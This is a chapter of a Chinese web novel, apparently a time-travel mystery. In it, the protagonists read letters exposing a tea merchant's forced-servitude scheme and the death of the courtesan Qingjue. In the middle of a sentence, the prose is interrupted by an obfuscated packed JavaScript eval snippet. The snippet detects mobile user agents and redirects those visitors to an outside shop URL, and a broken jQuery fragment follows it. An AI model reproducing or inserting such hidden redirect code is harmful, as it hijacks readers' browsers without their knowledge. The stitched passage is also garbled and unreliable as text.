清珏的爹曾是一个童生,屡试不第后,自甘堕落,家里越发清贫,便将她卖到了似月楼。
她在似月楼里以柔润清圆的歌声闻名。
赵鹤第一次听她唱曲,便被她婉转动人的嗓音所吸引。
他待清珏不错,出手也阔绰。但清珏知道,他和欢场中的其他客人没有区别,图的都是一时新鲜。所以她一开始也只是把他当普通主顾对待。
后来清珏正巧撞见爹带着叶清钰来见假母,她无法眼睁睁地看着叶清钰也被卖到似月楼,当即就打断了两人的交易。
叶清钰忍了一路的泪,在看到清珏的瞬间彻底决堤。
她拉着清珏的手,上气不接下气地喊道:“姐姐,我害怕,我不想被卖到这里。姐姐,我们就没有别的路可走了吗?”
清珏看着声泪俱下的叶清钰,这些话仿佛不是出自叶清钰之口,而是从她自己的心底迸发出来。
她已经被困在了这里,她不想让自家妹妹成为第二个她。
清珏将叶清钰护在身后,与自己的爹恩断义绝。
从此,真的就只有姐妹俩相依为命了。
叶清钰并非一开始就去了茶园,她在绣房和胭脂铺都干过,店家看她年纪小,就欺负她,不仅克扣她工钱,还总让她代人受过。
清珏得知这些事后,郁闷得生了病,好几天没待客。
赵鹤来似月楼看她,问她到底发生了何事。
清珏郁愤难抒,又尚在病中,招架不住赵鹤嘘寒问暖,把叶清钰的事告诉了他。
赵鹤听后,主动提议让叶清钰去他的茶园。
清珏想,妹妹的境遇已然如此艰难,去到茶园,说不定会有转机。在和叶清钰商量后,她将叶清钰送入茶园当了一名普通的采茶工,量工而酬,再无偏待。
从那以后,清珏对赵鹤心怀感激,态度也热络了许多。
正当她以为一切柳暗花明之时,叶清钰跑到似月楼来找她,告诉她:“姐姐,我们被骗了。”
清珏拉住她的手,满脸担忧地问:“发生什么了?”
“前几天,管事说要更新旧契,另立凭据,签一份新的雇契,若我不签,旧契失效,就把我赶出茶园。我当时没有多想,稀里糊涂地签了。昨天管事让我交佃租,我告诉他我不是佃农,他就将那份新契拿给我看,说我签了卖身契,已经成了园主的家奴,我们采茶的茶山,算是园主佃租给我们的,我们须得定期缴纳租课。”
说到后面,叶清钰声音越来越低,不由得啜泣起来。她恨自己愚蠢,恨自己轻信于人,恨权贵鱼肉小民,恨世道如此不公。
“姐姐,我今天是偷溜出来的。”叶清钰抽噎道,“我听茶园里的老人说,如果他们发现有人将这件事泄露出去,泄密之人和他的家人都要遭殃。我既不想牵连你,又不想你被蒙在鼓里。我不知道今天这样做到底是对是错,你别怨我。”
清珏心如刀割,苦涩的泪水盈满眼眶,她紧紧拉着叶清钰的手,说:“我怎么会怨你呢?是我的错,是我害了你……”
“姐姐。”叶清钰抱住清珏,泪如雨下,声音压抑而沙哑,“不是你的错。我知道你都是为了我。我今天告诉你的事,你别和任何人说,我们以后不要见面了,你别管我了。我不想连累你。”
“哗啦”一声,急雨倾盆,如倒百川,天地被黑云笼罩,月光杳无踪迹。
许云书眼眶湿润,视线模糊了。
纸上写道:“我到现在都记得那天的大雨,似乎冬季就是从那场大雨开始的,此后延绵,没有尽头。”
“后来我借口给妹妹找了份更好的差事,试图让赵鹤把我妹妹放出茶园,他执意不肯,我与他大吵一架。他盛怒之下,将我推倒在地。那一刻,我便知道,所谓恩情,也不过是我一厢情愿。”
“我与赵鹤相识一场,也知道他与赵夫人早已心生龃龉。我决定将此事告诉赵夫人。我自知孤苦无依,求告无门,此举算是病急乱投医,只求她良知尚存,助我救出妹妹,此后哪怕我俩逃到穷山恶水之地,我也甘愿。”
“未曾料到,赵夫人早已知道赵鹤的不义之举,暗中收集他的罪证。我俩自然一拍即合,联手对付赵鹤。”
“为了从赵鹤口中套话,我不得不主动讨好他,与他关系缓和了许多。”
“春梨买了一处私宅,平日里我们搜集到的信息就会藏到那里去。”
后面的内容大都是讲她与苏春梨越来越熟悉的过程,夹杂着一些她调查过程的心路历程。
这些信上的内容不仅有清珏的日录,还有苏春梨留下的线索。比较复杂的内容她会写到纸上,简单的则直接写到短便条上,再将纸条卷起来。
许云书平复悲绪,默然地看下去。在某一页纸里,苏春梨提到了现在这家奶茶店,以及奶茶店里的密室。
这里曾经是家牙行,行首会帮赵鹤物色那些无依无靠的贫苦之人,引诱他们去茶园打工。
苏春梨曾跟踪赵鹤,亲眼看着他进入后院的小木屋里,因此她对屋子里的东西有所怀疑,趁着夜色,偷偷溜进后院,发现了那家密室。
她从赵鹤那里盗得密室钥匙,复制了一把,借此成功进入密室,在里面看到了那些人的雇契和卖身契,和一本人名册子。
册子里的人都签了卖身契,而有的人名底下画了叉,经过调查,他们都是发现真相后试图逃走或者泄密之人,已经被处理了。
远山看到这条记录时,想到了自己在行首家里找到的那本册子,不知道这本是从密室里拿出来的,还是他原本就多备了一份。
这些人竟如此草菅人命,远山紧紧捏住手中的信纸,指节都泛了白。
许云书一拳捶到桌子上,义愤填膺道:“赵鹤太过分了!他的茶园简直和缅……他死有余辜!”
“压良为贱在我朝属于重罪。”远山一板一眼地折好这张纸,“赵鹤一个小小的茶商,敢如此胆大妄为,背后必然有人撑腰。”
许云书压下愤慨之情,问:“会是孙继才吗?”
孙继才也只是一介商贾,若无官府荫庇,这些事怎么可能密不透风。
远山并未将这点告诉许云书,只说道:“定然与他脱不了干系。按照苏春梨
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846967|211757||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
所说,这盒子里应该装了密室的钥匙。”
许云书将盒子里的油布小包全部拆开,其中确实有一把钥匙。
除此以外,还有几朵干杏花,一块碎玉,和一枚残缺的铁饰片。
“这也是杏花吗?”许云书拾起一朵已经褪色的干杏花,在手中转了一圈,“为什么要把杏花放到这里?”
她将杏花放回去,指着铁饰片,问:“这个又是什么?上面似乎还有花纹。”
远山取出铁饰片,摩挲道:“应该是带銙。还有什么线索吗?”
许云书展开一个小纸卷,看到上面简明扼要的几个字——“银钱流水账簿已找到,可择日报官”。
“她们去报官了?!”许云书将纸条递给远山,“没看到状纸,官府是受理了他们的案件吗?”
远山凝神沉思,一时没有作答。
盒子里仅存一张叠拢的纸,许云书内心忐忑将其拿起展开,未曾想这竟是一封清珏写给苏春梨的诀别信。
“今赵鹤身死,行首遁走,此案不了了之,真凶逍遥法外。你我虽察其奸,然实据难寻,莫可如何。吾之初衷,乃救舍妹于水火,不料风波迭起,牵扯甚广,吾心力交瘁,实难支撑。其中真相,不欲穷究,但求取回舍妹身契,与她逃离此处,愧不能与君勠力除恶,望尓体察吾愿。
今吾将潜赴牙行,窃取身契,若无音讯,恐以罹难。此乃己之抉择,福祸自受,望君勿为我伤怀。于我而言,身死或亦解脱。独忧舍妹,君若有余力,乞暗中照拂一二,不胜感激。只此一别,留君一人,不求宽宥,唯盼珍重。”
一滴泪砸得信纸颤动,濡湿了泛黄的素笺,将墨迹晕开,许云书倍感其中无奈,如秋风扫落叶,吹起满地悲凉,无言难过。
远山看见纸上泪痕,歪头一看,眼底忧虑:“东家,你怎么哭了?这信上写什么了?”
“清珏。”许云书一开口,哭腔四溢,泣涕如雨,“清珏说她要去偷叶清钰的卖身契,她肯定是被人发现了,才会死的……清珏什么都没做错,为什么会落得如此下场?”
那热泪灼得远山心尖发烫,他抬手用袖子擦去许云书脸上的泪痕:“东家,别难过了。浮生际遇,造化弄人,这是她的命数。”
许云书抬眸看他,红泪悬在眼角,悲愤道:“可她都是被逼的,如果她生在我们……”
有的话,许云书没办法说给远山听。她将“那个时代”这四个字生生咽下,继续说:“这世道有问题。”
“你说得没错。”远山抬手想擦去许云书泪水,快触及眸边时,在半空停了半秒,又收回来,“这世道有问题,清珏本不该是这样的命。我向你保证,这世道不会一直如此。”
许云书情绪翻涌,难以自持地痛哭起来。
这不仅是为清珏,也为她自己。
她想回家,她不想待在这里。她不属于这里,这些事原本都与她无关。可如今,她却被困在了这个时代,回家遥遥无期。
她趴在桌上,头埋进胳膊里,哭声不绝于耳。
屋外天在下雨,而许云书的双眸也在下雨。